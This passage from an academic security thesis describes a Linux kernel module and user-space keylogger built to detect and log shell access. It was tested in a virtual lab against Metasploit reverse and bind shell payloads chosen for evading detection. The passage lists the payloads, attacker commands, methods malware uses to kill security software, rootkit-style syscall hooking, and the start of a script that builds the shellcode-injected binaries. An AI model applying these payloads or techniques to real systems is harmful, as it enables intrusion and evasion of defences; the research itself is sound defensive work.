the module nor the user-space program are aware of any data state changes.[17] 

 

 From a defensive solution perspective, all of these mechanisms have their 

strengths and weaknesses.   A common problem faced by defensive solutions is the 

attacker's  tendency to use malware for the purpose of terminating security 

software[16][34].  It has become one of the most powerful self-defense techniques used 

by malware[13]. 

 

 During all of 2011, reports estimate that at least 11.6% of the top 10 malicious 

code families exhibited the ability to disable security software[41].   Malware analysis of 

the Agobot family of malware have found variants capable of attacking over 480 different 

processes, most of which are related to terminating security software[20], as well as 

contain code to disable roughly 105 different security software solutions[16].  Current 

reports suggest that in January 2014 alone, 9.5% of the top 10 most frequently blocked 

malware were among the strains capable of disrupting security software[25].   
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 Some of the techniques used to disable security solutions include: NULL 

debugger, DLL unloading, Process termination, Close Message Method, and Registry 

Modification as discussed in [13].  Null debugger refers to the use of the debugging API 

to attach to the defensive solution without actually attaching a debugger.  This causes the 

attached process to crash.  DLL unloading is the process of removing a kernel-space 

program used by the defensive solution, causing a call to the unloaded library to fail and 

crash the calling process.  Process termination relies on the use of a signals to terminate 

the defensive solution.  The Close Message Method relies on the finding the Window 

identified by the name of the defensive solution, and repeatedly sending it close requests 

until the process terminates.   Finally, the Registration Modification technique abuses the 

Windows registry to stop defensive solutions from starting up properly.  Applying these 

techniques to this thesis' work would include the use of the ptrace API to attach to the 

different processes, the unloading of the monitor's modules, the use of process 

termination signals, or disabling the automatic loading of the monitor's modules on 

system boot. 

 

 All of these techniques rely on locating the security module or its interfaces.  

They rely on known process names, common installation or startup locations within the 

system, and common interfaces used by the security solution.  The use of kernel provided 

communication mechanisms is one of those common interfaces.  It can provide an 

attacker a known starting point to begin looking for a security solution.     
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 In the case of VFS based and device based mechanisms, their use of file handles 

requires the module to hide the files in the corresponding file systems in order to avoid 

detection of the monitoring system.  This increases the need for rootkit style code in the 

module to implement the hiding of those processes to avoid disabling of the software.  

 

 Furthermore, device based mechanisms that rely on the ioctl system call leave an 

unmanageable interface to the module.   Especially risky in the case that the module 

implements rootkit style functions to hide devices.  The last thing a defensive solution 

should do is provide an attacker with an interface to simplify an attacker's task of 

maintaining undetected access to a compromised system.  Hiding the addition of a 

custom system call to the kernel would also greatly increase the amount of rootkit style 

code in the module.  And without adding the capability to hide the custom system call, 

the monitoring system would be easily detected, and consequently disabled. 

 

 In the interest of avoiding termination of the monitoring system, the file handles 

used by memory mapping would also need to be hidden.  Additionally, allocating kernel 

memory in a module for sharing represents a huge security risk, and decreases the overall 

security of the system being monitored. 
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 All of the mechanisms mentioned leave an attacker a convenient location to alter 

the data being transferred, including real-time signals.  A knowledgeable attacker could 

intercept signals using the ptrace API, filter out any data and evade the monitoring 

system. As a result,  any unnecessary use of the of kernel provided communication 

mechanism was avoided. 

 

 Given the use of the open system call hook for the detection of terminal 

emulators.  It was decided not to add any more locations where an attacker might 

discover the monitoring system.  Thus, the open system call is overloaded by using a 

non-existent (or fake) device.  The management module requests the transfer of a 

captured PID, by requesting the opening of the fake device.  On open request, the kernel 

module catches the open request, verifies the context of the open request, and transfers a 

stored PID from the kernel module's buffer to the management module's user-space 

buffer.  This process is depicted in Figure 3.7.  This is a rootkit like technique, where the 

module inspects the call, executes its own code, and modifies the results to accomplish 

the transfer of data.   On kernel module installation, the module receives the name of the 

device that triggers the transfer of data from the module.  It also receives the address of 

the user-space buffer in the management process, used as the destination of the data.  

 



38 
 

 

Figure 3.7.: Transfer Mechanism 

 

 The kernel module also requires the management process to register itself with the 

module.  The management process succeeds in registering by passing the module its PID 

on kernel module load.  The kernel module uses the process' registration to lock up access 

to the fake device and verify proper context of the open request, thus hindering abuse of 

the transfer mechanism. 

 

 The hooked open system call in the kernel module filters out any attempt to open 

this fake device.  It uses the registered process' PID to determine if the request comes 

from the correct context.  If so, the module transfers a stored PID from its buffer, to the 

user-space buffer using the stored address.  If a process other than the registered process 
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attempt to trigger a transfer by opening the fake device, the module simply returns zero, 

the index number for the standard in file descriptor.  

 

  There are several reasons for not using the return value from the open system call 

to pass the data to the registered process.  The first is to ensure that consistent behavior 

with the original system call is observed.  The open call returns the index number of the 

opened file pointer in the process' file descriptor table.  Maintaining consistency makes it 

harder to figure out that something else is taking place during the call.  This in turn makes 

it harder for the attacker to use the transfer mechanisms, for the purposes of finding the 

solution, and ultimately for terminating it.  Secondly, returning the data through the 

system call facility provides a location where an attacker might capture the data, and 

filter the results in order to disable the monitoring of their specific processes, and thus 

bypass the monitor.  

 

 Although the potential of introducing instability into the system by patching the 

system call table exists [33], some precautions are taken in order to limit this possibility.  

The work presented here uses malware techniques extended to a defensive approach.  

Malware writers do not limit their experiments in malicious coding.  Part of this thesis' 

approach is not to limit the use of any technique in order to gain insight into the attackers, 

and capture their actions within a compromised system. 
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 The kernel module is designed to be loaded on system boot, and the 'use count' is 

incremented at module load.  The module's use count is used by the kernel to determine if 

it is safe to unload a given module.  The use count is never purposely decremented, in 

order to disallow the unloading of the module without a system reboot.  At which time, 

the module will be loaded again, a purposely annoyingly persistent module.  Also, the 

module's use count is never decremented because the option to write a custom kill signal 

handler in the management module is not available[19].  As such, decrementing it on the 

management module's process termination was not feasible.  Otherwise, if the 

management process is terminated, the module could also be unloaded and a pointer to 

the hooked open system call routine within the unloaded module would be lost, causing 

system call table instability. 

 

 In the event that an attacker is able to patch the open system call, the potential for 

disabling the module's transfer mechanism exists.  Malicious system call table patching is 

generally used to inspect parameters or return values with the goal of filtering out data or 

modifying results, as is the case with rootkits.  This generally involves invoking the 

previous function at some point within the hooked version. 

 

 Under these circumstances, the worst case scenario would be that the attacker 

becomes aware of a previously unknown device.  Possibly leading to searching for a non-

existent device, and consequent attempts to open the device programmatically.  Any such 

attempt yields the index to the standard output file descriptor in the process' file 
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descriptor table, thus guaranteeing a consistent observed behavior.  The attacker gains 

nothing by making open requests to the device, given the module's registration 

requirement.  Furthermore, the approach attempts to mitigate evasion of the monitoring 

system. It complicates the task of capturing the data in transit, reducing the likelihood of 

an attacker modifying the data before it reaches the logging facility.   

 

 In order to reduce the likelihood of the monitoring system detection by the 

unconventional use of the 'fake' device, the device name can change on each module 

initialization.  Recall that the device name is passed to the module on module load. This 

mitigates string-matching techniques against device names for the purpose of detecting 

the monitor. 

 

 Additionally, a value of 0 was returned on failed open requests to the device, 

instead of the technically correct '-ENODEV'.   To anyone inspecting the open system 

calls, it would appear as a standard process making successful open requests.  Standard 

processes make arbitrary open calls to all sorts of file handles, this is considered 'normal' 

process behavior.  Malware has been known to mimic 'normal' profiles of behavior to 

avoid detection, known as mimicry attacks[43].  A similar approach was used to disguise 

the monitor's operations, thus making its detection more challenging.   
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3.3 Implementing the Monitoring Facility 

 

 Proper operation of terminal based devices and terminal oriented programs is 

provided by the TTY layer.  TTY stands for teletype, and is derived from its original job 

to handle the operations of physical teletype devices used to interact with the system.[1]  

The TTY layer is composed of line disciplines drivers, and terminal device drivers that 

handle operations for reading and writing, handling control operations, input processing, 

etc.  

 

 Of important interest to this work is the line discipline portion of the TTY layer.  

It deals with the processing of input received, determining which input to apply 

processing to and which input to deliver to the terminal oriented process.    It handles line 

editing control sequences,  like Ctrl-u, and process control sequences, like Ctrl-c.  When 

such input sequences are received the appropriate functionality or signals are delivered, 

as opposed to delivering the characters to the process. 

 

 A user-space program requests reading of a file to the kernel  via the system call 

facility.  The read system call depends on the Virtual File System  layer to fulfill requests, 

it calls vfs_read(), which transfers control to the reading facility in the Virtual File 

System  layer.  We discussed the VFS layer in our discussion of kernel transfer 

mechanism.  The VFS layer then calls the read function associated with the particular 
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type of file in the request.   In our case, the type of file is a pseudoterminal, which uses 

the TTY layer to handle its operations.  The call to tty_read() transfers control from the 

VFS layer to the TTY layer.    

 

 In the TTY layer, tty_read() then invokes the terminal's line discipline read 

function , n_tty_read(). The line discipline proceeds to transfer the bytes received from its 

buffer to the user-space buffer.  Depending on the terminal's settings, full line discipline 

filtering of input is applied, or none at all.  To round off our understanding of the TTY 

layer, its functions are invoked by requests originating in user-space, as well as from the 

hardware below.  On reception of input by the hardware, the device driver calls the TTY 

layer's line discipline n_tty_receive_buff() which transfers the bytes received from the 

device driver's buffer to the line discipline's buffer.  The flow of execution through the 

TTY layer's line discipline is shown in Figure 3.8. 
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Figure 3.8: The TTY Layer's Line Discipline 

 

 The line discipline concepts in the kernel were used to deal with the captured 

input in user-space by the logging facility in the monitor module.  It implements a user-

space line discipline/keylogger for handling the input received by the terminal oriented 

program.   The ptrace system call is used in order to hook into the individual processes.  

ptrace is the system call used to access the kernel's ability to supervise any process in the 

system.  It is used to attach to processes and inspect the contents of their registers or 

memory[19].  It's primarily used in debuggers like gdb, to place break points, etc.  The 
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ptrace system call can be used by privileged processes to attach to other processes to 

monitor or inspect their memory space.   

 

 The thesis' monitoring facility utilizes ptrace to attach to shell spawning 

processes, and inspect the data transferred from the TTY layer to user-space.   The data 

received is then scrubbed using the user-space line discipline/keyboard driver capabilities 

of the logging facility.  This is done in order to record meaningful data from the input 

received by the terminal oriented program.  The logger then converts the bytes received 

to usable input for writing out to file.  The reason behind the addition of line discipline 

handling as well as key logging is to be able to extend the logging to both slave and 

master pseudoterminals in future work regardless of the terminals mode (canonical or 

non-canonical).   

 

 Our walkthrough of the different calls made in servicing the request, reveals 

multiple locations within the kernel to intercept the input.  Any location where a new 

function is called is a potential hooking site within the kernel.  Originally the capturing of 

input was implemented in a kernel module.  It hooked the line discipline's read function 

n_tty_read() to inspect the input.  The line discipline facility has previously been hooked 

to provide kernel level key logging [3], although they hooked at the device driver- line 

discipline transfer site.   
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 Due to security concerns, the key logging facility was moved out to user-space to 

minimize affecting the security of the whole system.  The potential of adding security 

flaws due to the large amount of privileged code was too high.
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4. Experiment Development 

 

 The experiment was conducted using Oracle's Virtual Box [26] virtualization 

environment and the Metasploit framework [28].  Two virtual machines connected 

through the internal network provided by VirtualBox were used.  The first virtual 

machine was an Ubuntu 12.04 running kernel 3.2, this is the monitored system that will 

be executing the shellcode injected binaries.  The binaries are explained in section 4.1. 

 

  The second virtual machine was installed with Backtrack5R3.  Backtrack (now 

called Kali Linux) is a penetration testing Linux distribution.  It served as the attacking 

machine, making use of the Metasploit framework to accomplish its attacking duties.  

The Metasploit framework is an open source project designed to facilitate the 

development of exploit code for testing the security posture of an organization or an 

individual system [28].  This type of security testing is called penetration testing.  It was 

responsible for supplying "staged" shellcodes the remainder of the exploit.  Staged 

exploits callback the attacking machine for the remainder of the exploit code.  It was also 

responsible for establishing the callback service for the reverse shell exploits, and for 

connecting to any bind shells in the exploited system (the Ubuntu 12.04 vm).  The 

exploits will be covered in more detail in Section 4.1. 
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 An internal networking environment was provided for the two virtual machines 

using Virtual Box's internal network setting.  Each of the virtual machines attached to the 

internal network were configure with static IP addresses within the same subnet.  There 

was no routing involved in ensuring connectivity between the virtual machines.   

 

 Proper execution of the shellcode_injected binaries requires network connectivity, 

a listening service on the attacking system, or a listening port on the exploited system.  

The Metasploit framework's exploit handler was used to service the requests of the 

binaries. A script to handle the list of payloads injected in the binaries was used.  It 

executes the correct handler for the given binary.  The list was created by the binary 

building script used to create the malicious binaries during data setup.  A copy of the 

scripts is provided in Appendix A.  

 

4.1 Exploit Setup 

 
 

 Eleven different shellcode injected binaries were used to test the project's 

modules.  The shellcode injected binary samples were built using custom scripts that rely 

on the Metaploit framework.  Each binary was injected with a different shellcode sample 

also derived using the Metaploit framework.  The binaries we built using the scripts 

supplied in Appendix A.   
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 The shellcodes were selected for their ability to bypass detection as per [8] and 

their ability to provide the attacker interaction with the remote system's Operating System 

through the shell environment.  In Cheng et al.'s [8] study four of the 36 types of exploits 

tested were able to bypass detection.  Of the 4 types that evaded detection, 2 types were 

of interest to this study, reverse shell and bind  shell shellcode.  The shellcodes used fall 

into two categories, bind_shell spawning shellcode, and reverse_shell spawning shellcode 

encoded by the Shikata Ga Nai encoder in the Metasploit framework.   

 

 The Metasploit framework offers 5 bind_shell and 7 reverse_shell shellcodes for 

exploit development.  Of the 12 total shellcodes of interest, only four make use of 

pseudoterminals that rely on the TTY layer, the modeled normal system behavior.  This 

work assumes that the exploit bypassed anomaly based detection, thus it mimics normal 

system behavior.  A total of eleven shellcodes were used, the remaining shellcode 

provided by the Metasploit framework does not execute in Debian based distributions.  

The monitored virtual machine runs on Ubuntu 12.04, it is a Debian based distribution.  

Thus, the twelfth shellcode would not execute properly on this system.   

 

The shellcodes injected into the binaries are the following: 

 Bind: 

  payload/linux/x86/shell/bind_nonx_tcp 

  payload/linux/x86/shell/bind_tcp 

  payload/linux/x86/shell_bind_tcp 
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  payload/linux/x86/meterpreter/bind_tcp 

  payload/linux/x86/meterpreter/bind_nonx_tcp 

 

 Reverse:  

  payload/linux/x86/meterpreter/reverse_tcp 

  payload/linux/x86/meterpreter/reverse_nonx_tcp 

  payload/linux/x86/shell/reverse_nonx_tcp 

  payload/linux/x86/shell/reverse_tcp 

  payload/linux/x86/shell_reverse_tcp 

  payload/linux/x86/shell_reverse_tcp2 

 

 A standard ordered list of commands was used to test the project module's ability 

to log any command executed by a potential attacker.  The commands were selected to 

test the module's logging of several behaviors within the monitored shell.   For example 

ability to log standard input, commands executed in a separate shell, pipes, etc.   

 

 The command list for shellcodes that provide a meterpreter environment was 

expanded to include commands executed within meterpreter, as well as using the standard 

shell within the meterpreter environment.  The meterpreter shell provides an extended set 

of commands and scripts developed by the Metaploit project. 
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The standard list of commands: 

  non-meterpreter shells: 

   ifconfig 

   whoami 

   hostname 

   uname -r 

   lsb_release -a 

   cat /boot/System.map-$(uname -r)| grep sys_call_table| cut -d ' '-f 1 

 

The meterpreter list of commands: 

   sysinfo 

   ps 

   netstat 

   shell 

   plus the list of non-meterpreter commands above  

 

4.2 Verification Procedures 

  

4.2.1 Reverse_shell Exploit Verification Procedure  
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 The reverse shellcode injected binaries enable access to a remote system's shell by 

connecting back to a predefined port on the attacking system.  Upon execution of 

malicious binaries on the exploited system, the reverse shell is dispatched to the attacking 

system.  The predefined callback IP address of the  remote system is specified at binary 

build.  

 

 Proper execution of reverse_shell binaries was verified prior to testing the project 

modules by using the following procedure: 

 

  On BT5R3 VM:  

   execute handler script  

    select appropriate 

     network interface 

     port 

     payload for the shellcode_injected binary being 

tested 

 

  On Ubuntu VM: 

   execute shellcode_injected binary 

 

   netstat terminal- 

    - verify reverse shell connection was established 

    -record PID of process created by executed binary 
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    -record binary image loaded by process 

   

  On BT5R3 VM:  

   verify exploit ran properly  

    -within handler shell 

     type : echo $$ 

    record PID reported on remote session 

   execute the standard list of commands on the attacking system 

   end exploit session 

 

 

4.2.2 Bind_shell Exploit Verification Procedure   

 

 The bind shellcodes injected binaries provide a listening service on a predefined 

port on the system executing the bind_shell injected binary.  The listening port number 

used is specified during binary creation. The image to execute upon connection to the 

bind shell is determined by the shellcode selected.  

 

 Proper execution of the bind_shell binaries was verified independently by 

following the following steps: 
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  On Ubuntu VM: 

   execute shellcode_injected binary 

 

   netstat terminal (netstat -antp TCP) 

    - verify bind shell listening, record port number 

    -record PID of process created by executed binary 

    -record binary image loaded by process 

 

   On BT5R3 VM:  

   execute handler script  

    select appropriate 

     network interface 

     port 

     payload for the shellcode_injected binary being 

tested 

 

   verify exploit ran properly  

    -within handler shell 

     type : echo $$ 

    record PID reported on remote session 

 

   execute the standard list of commands on the attacking system 

   end exploit session 
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4.2.3 Secure Shell Access Verification  

    

 OpenSSH server allows remote users to gain secure access to the system.  Upon 

connection to the service, the ssh daemon handles key exchanges and authenticates the 

user.  It provides the user with encrypted access to the shell environment. This test is 

done to provide a basis of expected system behavior.   

 

 Proper operation of the sshd service was verified prior to testing the project 

modules by following the following procedure: 

 

  On Ubuntu VM: 

   start sshd server 

   ensure sshd is running 

   netstat terminal (netstat -antp TCP) 

    - verify sshd listening, record port number 

    -record PID of process created by sshd 

    -record binary image loaded by process 

 

  On BT5R3 VM:  

   connect to ssh service on Ubuntu VM 

   (ssh user@xxx.xxx.xxx.xxx) 
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  On Ubuntu VM: 

   verify ssh connected 
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5. Procedure 

  

5.1 Iterations 

 The goal of the thesis was to discover if we could bridge the gap between what is 

detected and what exploits a system without focusing on improving malware detection, 

but rather on how the operating system works. 

 

 The first part of this question asked if we bridge the gap between malware 

detection and breach without focusing on improving malware detection. To this end, a 

kernel module was built based on normal system behavior to detect access to any of the 

system provided shells.  A standard test procedure was developed along with shell access 

verification procedures to test the module.  The access verification procedures included 

eleven exploits previously known to evade detection, as well as standard access 

procedures to create a basis of expected system behavior.   

 

 The second part of the question asked if we can use normal system behavior 

models to create a breach mitigation solution (to bridge the gap).  To this end, a user-

space logging facility was developed, modeled after normal access to the system 

provided shells, from a local and remote perspective.  These normal system behavior 

models make use of pseudoterminals that rely on the TTY layer.  A standard test was 
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developed to test the logging facility's ability to capture input to the shells.  Using the 

Access Verification Procedures, eleven exploits were used during testing.  The access 

verification procedures also include normal behavior tests to verify that the solution 

works.     

 

5.2 Testing Verification Procedures 

 

 All eleven shellcode injected binaries were executed on the Ubuntu 12.04 virtual 

machine.  The exploits we executed independently of the thesis' modules to ensure that 

they worked properly.  Any staged exploit requires retrieval of the remainder of its 

particular exploit from a predefined remote system.  The exploit's callback address is 

predefined at binary build time.  Eight of the eleven binaries contained staged shellcode.  

Proper retrieval of the staged portions of the exploits was observed prior to testing the 

project modules.           

 

 Once verification of proper exploit execution, and secure shell access were 

completed, the thesis' modules were loaded.  A standard test was executed against the 

secure shell and each of the exploits.  The secure shell access test was done to provide a 

basis of expected system behavior. 
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 The standard ordered list of commands, as well as the extended meterpreter list of 

commands was used where appropriate.  The tests were performed in the exact same 

manner per exploit, except for the use of either the bind_shell verification procedure, or 

the reverse_shell verification procedure.  This is due to the difference in the shellcode 

carried by the particular binaries.   

 

 The high level overview of the steps followed to conduct the individual tests 

begins with a clean system boot.  The thesis' modules are loaded, and proper operation of 

the modules is verified.  The standard remote shell access verification test is performed 

with the modules in place.   Then the appropriate exploit is executed, and verified.  This 

is the one place where the test varies.  Depending on the shellcode_injected binary 

selected for testing, either the reverse_shell verification procedure or the bind_shell 

verification procedure is executed.  The final step involves verification of PIDs and 

collection of logs created. 

 

 In order to manage kernel logs, and collect the data, 3 terminal windows were 

used in the verification of proper test execution.  The following terminals were used: 

  

Terminal 1 - sys_hook terminal: 

  navigate to location of sys_hook module source 

  (will need to compile the module with debugging flag ON  
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   - uncomment #define DEBUG 

   - type make) 

 

  dmesg command 

   verify module load and PID transfers 

 

Terminal 2 - pilot terminal: 

  navigate to location of pilot program  

  sudo ./pilot 

   enables the thesis' modules 

   allows monitoring of modules 

   record kernel transferred PIDs, and logs created 

 

Terminal 3 - netstat terminal: 

  verify bind_shell / reverse_shell connections 

  allows recording of  ports, PIDs, binary images loaded, etc 

 

All tests were carried out using the following steps:   

 

 On Ubuntu VM: 

  Enable kernel logging for module 

   compile module with debug flag enabled 
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  execute the pilot program 

   installs module  

    detects access to shell 

    logs activity 

     

   Verify module loaded and ready 

   (check kernel logs - kernel logging enabled for tests in module) 

 

 Here's the first place where the tests vary.  Depending on which verification is 

desired, select the appropriate verification procedure.   

   

  Select: 

   Secure Shell Access Procedure or 

   Bind_shell Exploit Verification Procedure or 

   Reverse_shell Exploit Verification Procedure 

 

  On Ubuntu VM: 

   netstat terminal (netstat -antp TCP) 

     - verify exploit session is established 

     -record PID of process created by executed binary 

     -record port 

     -record binary image loaded by process 

 



62 
 

 This is the second place where the test varies.  This is due to the use of four 

meterpreter capable exploits within the Metasploit framework. 

 

  On BT5R3 VM: 

   within exploit provided shell:  

 

    execute extended meterpreter command list 

     (for meterpreter capable exploits only) 

 

    execute the standard list of commands 

 

    end exploit session 

 

  On Ubuntu VM: 

   pilot terminal- 

    record PIDs transferred from the kernel module 

    (./pilot process ) 

 

    record PIDs of monitored processes  

    (any PID for which a monitor process was execd and able  

    to attach) 

    

    stop pilot process 

 

    record number of logs created, and match to captured PIDs 
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    verify which PIDs were logged 

 

   sys_hook terminal- 

    remove sys_hook module  

 

   (reboot Ubuntu VM) 

 

5.3 Obtaining a Target Score  

   

 In order to obtain a score, the standard test on local and secure procedures were 

executed to obtain a base line for how the normal system shell access would rate.  

Execution of all the bind_shell and reverse_shell verification procedures was the next 

step.  The PIDs of all processes created were recorded, along with the PIDs that were 

captured by the kernel module, and the processes that were successfully attached along 

with the associated log files.  Verification of the logs created followed, to inspect whether 

or not input was recorded.  The use of a pseudoterminal and the TTY layer  by the 

individual procedure was also recorded. 
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6. Results 

 

 Outcomes from testing the thesis' modules were mixed.  The detection of shell 

spawning processes that make use of the TTY layer was 100%, however, the detection of 

processes accessing the system's shell interface was 78.2%.  The first portion of the work 

was to investigate the possibility of lessening the impact of a breach by not focusing on 

detection of the malware that caused the breach.  The results suggest that this approach 

has an 78.2% chance of success. 

 

 The second portion of the work was to investigate the use of normal operating 

system behavior as a basis for building a mitigation solution.  The logging of user input 

to the system's shells was only 33% successful.  This suggests that simply basing the 

mitigation solution on normal operating system behavior is not a viable approach to 

bridging the gap between detection and breach.  

   

Table 6.1.: Total Access to System Shell's by the Verification Procedures 

Total  Access to System's Shell Interface 

32 
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Table 6.2.: Total detection of processes accessing the System's shells detected: 

Total Detected Percentage of Detection 

25 78.2% 

 

Table 6.3.: Total pseudoterminal processes successfully logged 

Logged Pseudoterminal Processes Logging Percentage 

2 6 33.3% 

 

 

6.1 Individual Test results 

 
Table 6.4.: Local Shell Access Verification Procedure  

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached 

& created 

log 

input 

logged   

Pseudo- 

terminal 

gnome-

terminal 3492 

loads binary 

image /bin/bash  3492 yes No (master) 

 

3570 

loads binary 

image /bin/bash  3570 yes yes (slave) 

 

3584 

(lsb command) 

execs an addition 

shell 3584 yes 

in  

slave 

log None 
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Table 6.5.: Secure Shell Access Verification Procedure  

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo- 

terminal 

ssh 3017 

loads binary 

image /bin/bash 

sshd[private] 3017 yes No (master) 

 

3085 

loads binary 

image /bin/bash  3085 yes yes (slave) 

 

3208 

(lsb command) 

execs an addition 

shell 3208 yes 

in  slave 

log None 

 

 

Table 6.6.: Exploit Verification Procedure (kworker1) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

Attached &  

created log 

input 

logged   

Pseudo-

terminal 

Kworker1 2299 

loads binary 

image /bin//sh  

 

no No None 

 

2311 

(lsb command) 

execs an addition 

shell 2311 yes No None 
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Table 6.7.: Exploit Verification Procedure (kworker2)  

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker2 2274 

loads binary 

image /bin//sh  

 

no no None 

 

2284 

(lsb command) 

execs an addition 

shell 2284 yes No None 

 

Table 6.8.: Exploit Verification Procedure (kworker3) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker3 4099 

loads binary 

image /bin//sh  

 

no No None 

 

4109 

(lsb command) 

execs an addition 

shell 4109 yes No None 

 

Table 6.9.: Exploit Verification Procedure (kworker4) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker4 4283 

loads binary 

image /bin//sh  

 

no No None 

 

4290 

(lsb command) 

execs an addition 

shell 4290 yes No None 
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Table 6.10.: Exploit Verification Procedure (kworker5) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker5 4437 

loads binary 

image /bin//sh  

 

no No None 

 

4444 

(lsb command) 

execs an addition 

shell 4444 yes No None 

 

Table 6.11.: Exploit Verification Procedure (kworker6) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker6 4565 

loads binary 

image /bin//sh  

 

no No None 

 

4572 

(lsb command) 

execs an addition 

shell 4572 yes No None 

  

Table 6.12.: Exploit Verification Procedure (kworker7) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker7 4758 

loads binary 

image /bin//sh  

 

no no None 

 

4767 

(lsb command) 

execs an addition 

shell 4767 yes No None 



69 
 

Table 6.13.: Exploit Verification Procedure (kworker8)  

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker8 4896 

replaces binary 

image with 

meterpreter 

image 

 

no No None 

 

4910 

execs an addition 

shell 4910 yes No (master) 

 

4911 

execs an addition 

shell 4911 yes No (slave) 

 

4917 

(lsb command) 

execs an addition 

shell 4917 yes No None 

 

Table 6.14.: Exploit Verification Procedure (kworker9)  

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker9 5085 

replaces binary 

image with 

meterpreter 

image 

 

no No None 

 

5098 

execs an addition 

shell 5898 yes No (master) 

 

5099 

execs an addition 

shell 5099 yes No (slave) 

 

5119 

(lsb command) 

execs an addition 

shell 5119 yes No None 
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Table 6.15.: Exploit Verification Procedure (kworker10) 

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker10 5226 

replaces binary 

image with 

meterpreter 

image 

 

no No None 

 

5239 

execs an addition 

shell 5239 yes No (master) 

 

5240 

execs an addition 

shell 5240 yes No (slave) 

 

5256 

(lsb command) 

execs an addition 

shell 5256 yes No None 

 

Table 6.16.: Exploit Verification Procedure (kworker11)  

binary 

executed 

Spawned 

Shell PID 

Method of 

spawning shell 

captured 

shell PID  

attached & 

created log 

input 

logged   

Pseudo-

terminal 

Kworker11 5500 

replaces binary 

image with 

meterpreter 

image 

 

no No None 

 

5512 

execs an addition 

shell 5512 yes No (master) 

 

5513 

execs an addition 

shell 5513 yes No (slave) 

 

5529 

(lsb command) 

execs an addition 

shell 5529 yes No None 
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 One additional comment about the results is that the normal behavior that was 

modeled for building the mitigation module was the use of the TTY layer by the 

pseudoterminals, specifically the slave side of the pseudoterminal pair.  The 33% logging 

is based on logging of two of the 6 slave pseudoterminals created by the processes during 

all the access verification procedures.  A logical question would be how would the 

logging of the master side of the pseudoterminal affect the results and possibly improve 

the approach?  This is a question that must be addressed in any future work. 
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7. Future work 

 

 The work presented in this thesis could be improved upon.  The logging facility 

could be extended to log the master side of the pseudoterminal pair. Improving the 

logging facility by adding one more operating system based behavior capability would 

likely improve the logging of the exploits.  The logging facility was designed with the 

slave side of the pseudoterminal pair in mind.  The slave side and the master side of a 

pseudoterminal pair differ in their handling of input.  The slave side places the 

pseudoterminal in raw mode, this causes input to be sent per character received.  The 

master side places the pseudoterminal in canonical mode.  This causes the input received 

to be buffered into lines, delivering of the input to the pseudoterminal per line instead of 

per character.   The shell access verification procedures would then need to be repeated to 

test the newly added capability against the previous tested exploits.  This improvement on 

the logging facility would also show more definitively whether or not the approach is 

viable.  Adding more models of normal behavior to the logging facility would also extend 

the logging of different exploits. 

 

 Another improvement is in modeling more ways to spawn shells, as well as 

modeling more ways to access the system provided shell environment.  In essence, 

thinking of more ways to avoid current detection, and use those methods to improve the 
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kernel module. 

 

 A last improvement departs from a purely anomaly based approach, and looks at 

the exploits.  Analysis of the exploits used could be used to derive the reason for the 

failed logging.  Once those are discovered, the logging facility could be updated, and the 

access verification procedures performed once more.  This approach, however, would 

result in extending the capability to those particular exploits only. 
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8. Conclusion 

 

 The goal of the thesis was to investigate if the gap between what is detected and 

what exploits a victim's Operating System could be bridged, without focusing on 

improving malware detection.  Rather the focus was on how the Operating System works.  

The testing procedures focused on shell spawning exploits, as they provide an attacker 

access to the exploited system, and can lead to data leaks, etc.  Lessening the impact of 

these types of attacks is a pressing matter, as well as investigating supplemental 

approaches that may aid the malware detection efforts currently underway. 

 

 The first portion asks can we bridge the gap between malware detection and 

breach without focusing on improving malware detection.  The work presented here used 

polymorphic shellcodes previously missed by detection solutions to answer this question.  

The results suggest that relying on normal operating system behavior is a viable 

approach.  

 

 The second part of the thesis goal aims at answering can we use the normal 

operating system behavior models to create a breach mitigation solution.  The work 

presented in this thesis suggests that relying solely on models of normal operating system 

behavior to build a mitigation solution does not result in a viable approach.   
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 The work presented here does not suggest that malware detection efforts should 

stop,  rather that there is a need to investigate ways to add to the detection efforts in order 

to mitigate the gap between detection and breach that do not focus on improving malware 

detection. What other approaches would be useful in coming alongside the current 

techniques to bridge the gap of malware detection?  
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A.  Experiment Scripts 

This appendix shows the scripts used during the Experiment development and Exploit 

development.  The entire thesis's code base is available by contacting the author or Dr. 

Carol Taylor at Eastern Washington University. 

 

Exploit Generation Script: 

#/bin/bash 

# creates a handlers file 

#feed file to multi_handler script to start handlers 

clear 

echo "****************************************************" 

echo "*      MONITOR MALICIOUS BINARY TEST GENERATOR     *" 

echo "****************************************************" 

echo "Generates 12 binaries: 

1-bind_nonx_tcp 

2-bind_tcp 

3-shell_bind_tpc(inline) 

4-reverse_nonx_tcp 

5-reverse_tcp 

6-shell_reverse_tcp(inline) 

7-shell_reverse_tcp2 

8-reverse_unix 

9-bind_tpc(meterp) 

10-bind_nonx_tcp(meterp) 

11-reserver_tcp(meterp) 

12-reverse_nonx_tcp(meterp) 

" 

echo "IP info: " 

ifconfig 

echo "Reverse shell Info:" 

echo -e "Select local IP from above:  \c" 

read IP 

 

touch handlers 

 

num=1 

echo -e "Enter starting listening port (incremented per binary 

built)?  \c" 

read PORT 

